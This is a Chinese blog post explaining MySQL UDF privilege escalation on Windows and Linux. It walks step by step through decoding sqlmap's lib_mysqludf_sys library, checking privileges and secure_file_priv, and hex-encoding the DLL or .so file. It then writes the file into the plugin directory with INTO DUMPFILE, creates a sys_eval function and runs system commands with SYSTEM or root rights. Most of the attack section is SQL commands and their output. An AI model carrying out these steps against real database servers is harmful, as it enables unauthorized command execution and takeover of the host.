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Code  ›  Windows与Linux的MYSQL UDF提权分析
mysql select mysql创建数据库 mysql导入sql文件
https://juejin.cn/post/7100562573254213668
仗义的夕阳
1 年前

本文已参与「新人创作礼」活动，一起开启掘金创作之路本文已参与「新人创作礼」活动，一起开启掘金创作之路

什么是UDF

​ 所谓UDF 就是user define function的简称，就是用户自定义函数，用户可以添加函数到mysql中实现功能的扩充，调用方法和一般函数一样类似于database()，但这一功能也导致了自定义函数中可能包含了恶意函数（系统命令），然后恶意的指令被以更高的权限执行后，实现提权的手段。

​ 一般无论是库站分离的服务器，还是库站在一台服务器的情况，我们都是先拿下www的权限之后才有机会接触到数据库连接，毕竟没有多少人会真的打开3306端口把数据库对公，因此我们获得一个数据库的普通账号还是比较容易的，那么能否得到一个特权普通账号或是root账号，就成为了udf提权是否存在的真正核心问题。

下面来分析在不同的系统中UDF提权利用条件的差异性

Wlndows

​ 在Windows中Mysql一般以System权限执行。

​ 故UDF提权漏洞出现原因，主要是因为root用户密码泄露，弱密码等，或者是普通用户有对plugin等文件夹有写权限。

LInux

​ 在Linux中则不同，Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行，而守护程序mysqld_safe才是以root权限。

​ 所以说Linux下UDF提权出现的机会比较少，只有当mysqld进程是root执行的时候才会出现udf提权，一般会被归类到权限配置错误里。

​ 因此漏洞出现原因有两个，权限配置错误和特权账号信息泄露

放在最前面

最新版的sqlmap的udf文件换路径至/usr/share/sqlmap/data/udf此处不要找错了

使用/usr/share/sqlmap/extra/cloak/cloak.py进行异或解码后利用 

python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

之后会在原位置生成一个解码后的so/dll文件


这个so/dll文件总共包含四个函数


sys_eval，执行任意命令，并将输出返回。
sys_exec，执行任意命令，并将退出码返回。
sys_get，获取一个环境变量。
sys_set，创建或修改一个环境变量。

Windows


由于我的sql版本太老，这里使用reuodut的步骤信息


0.版本问题


mysql不同版本在windows下dll文件的检索位置是不同的


mysql < 5.0 : 可以在任何位置


MySQL<5.1 : 需要导出至系统目录下 如C:/windows/system32/


MySQL >5.1 : 需要导出到sql安装目录的libplugin下（一般需要手动创建）


由于5.1以上理论上可以通过NTFS ADS流模式，来实现创建文件夹，但由于根本没看到有人试验成功过，所以5.1以上版本究竟是否能够提权，成谜。


1.查看版本确定文件导出位置


mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.53    |
+-----------+
1 row in set (0.00 sec)

2.获取mysql安装目录


windows下我们一般可以进入到mysql文件夹下的，我们可以cd进去看一眼有么有libplugin文件夹，看到5.1以上版本，文件夹里还没有libplugin建议直接放弃，转点


mysql> select @@basedir;
+--------------------------------+
| @@basedir                      |
+--------------------------------+
| C:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.00 sec)

3.查看用户权限


这一步主要目的是查看用户有没有insert，upload，delete，file等权限，其实如果你是root权限是不用做权限检验的，这一步一般用来验证，当你只有一个普通用户的时候，你是否拥有特权。


mysql> select * from mysql.user where user='root' and host='127.0.0.1' \G;
*************************** 1. row ***************************
                  Host: 127.0.0.1
                  User: root
              Password: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
           Select_priv: Y
           Insert_priv: Y
           Update_priv: Y
           Delete_priv: Y
           Create_priv: Y
             Drop_priv: Y
           Reload_priv: Y
         Shutdown_priv: Y
          Process_priv: Y
             File_priv: Y
            Grant_priv: Y
       References_priv: Y
            Index_priv: Y
            Alter_priv: Y
          Show_db_priv: Y
            Super_priv: Y
 Create_tmp_table_priv: Y
      Lock_tables_priv: Y
          Execute_priv: Y
       Repl_slave_priv: Y
      Repl_client_priv: Y
      Create_view_priv: Y
        Show_view_priv: Y
   Create_routine_priv: Y
    Alter_routine_priv: Y
      Create_user_priv: Y
            Event_priv: Y
          Trigger_priv: Y
Create_tablespace_priv: Y
              ssl_type:
            ssl_cipher:
           x509_issuer:
          x509_subject:
         max_questions: 0
           max_updates: 0
       max_connections: 0
  max_user_connections: 0
                plugin:
 authentication_string:
1 row in set (0.01 sec)

4.查看可操作路径


mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)

secure_file_priv值为null，表示mysql不允许导入导出，此时我们只有通过别的方法将udf.dll写入安装路径。


5.上传DLL并利用


首先创建plugin文件夹，可以看到是报错了的，原博主为了可以进行下一步的演示，手工创建了plugin的文件夹。


mysql> select 'test' into dumpfile 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION';
ERROR 1 (HY000): Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13)

由于禁止了导入，所以我们选择在本地导入成udf文件，然后在目标机上将比如本地导出的udf当作表内容添加进入


有了文件夹后开始将dll文件制作成udf文件


# 首先将本地保存dll文件的地址转化成16进制，
比如说C:\Users\user\Desktop\lib_mysqludf_sys.dll这个地址转换为16进制就是
433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c
# 然后在本地导入dll文件，注意在上面的16进制地址需要在前面写上0x
SELECT hex(load_file(0x433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile '/tmp/udf.txt';
# 至此udf.txt文件中的内容就是udf文件的十六进制格式
# 接下来在目标机上写入udf文件
1. CREATE TABLE udftmp (c blob); //新建一个表，名为udftmp，用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\PHPStudy\PHPTutorial\MySQL\lib\plugin\udf.dll'; //将udf文件内容传入新建的udf文件中，路径根据自己的@@basedir修改
# 对于mysql小于5.1的，导出目录为C:\Windows\或C:\Windows\System32\
# 到此如果没有报错，就是生成成功了，接下来要开始导入
DROP TABLE udftmp; 
# 删除udftmp表删掉
# 导入udf函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 

然后查看一下函数库


select * from mysql.func;

如果能看到sys_eval就算是新建udf文件成功了，可以以system权限执行函数了


SELECT sys_eval('ipconfig');
返回网卡信息

当不禁止文件的导入和导出的时候就可以直接上传dll文件到插件文件夹来进行文件的导入


这样会简单不少，也不会涉及十六进制的转来转去


如果不能上传可以选择


select unhex('十六进制dll文件') into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf3.dll';

直接上传dll文件到C:\phpStudy\PHPTutorial\MySQL\lib\plugin文件夹下


create function sys_eval returns strings soname ‘lib_mysqludf_sys.dll’;

linux


由于mysql跨平台特征，在linux和windows上的操作是一样的，所以可以直接参考winodws的操作来进行操作。


除此之外只需要记得linux下udf文件的后缀是so就是了


Sql注入-Windows下利用udf提权 - reuodut - 博客园 (cnblogs.com)


Mysql提权-基于Mysql的UDF提权（Linux系统） - 码小农的幸福生活 - 博客园 (cnblogs.com)


MySQL提权的三种方法 - FreeBuf网络安全行业门户


linux mysql udf 提权 - mrhonest - 博客园 (cnblogs.com)


sqld与sql_safe


提供一个十六进制编译好的linux so文件来源于mrhonest


select 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into dumpfile '/home/yhznsh/qfengine/mysql/lib/plugin/mysqludf3.so';




    



select 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into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf3.so';


\
  





    

 
   
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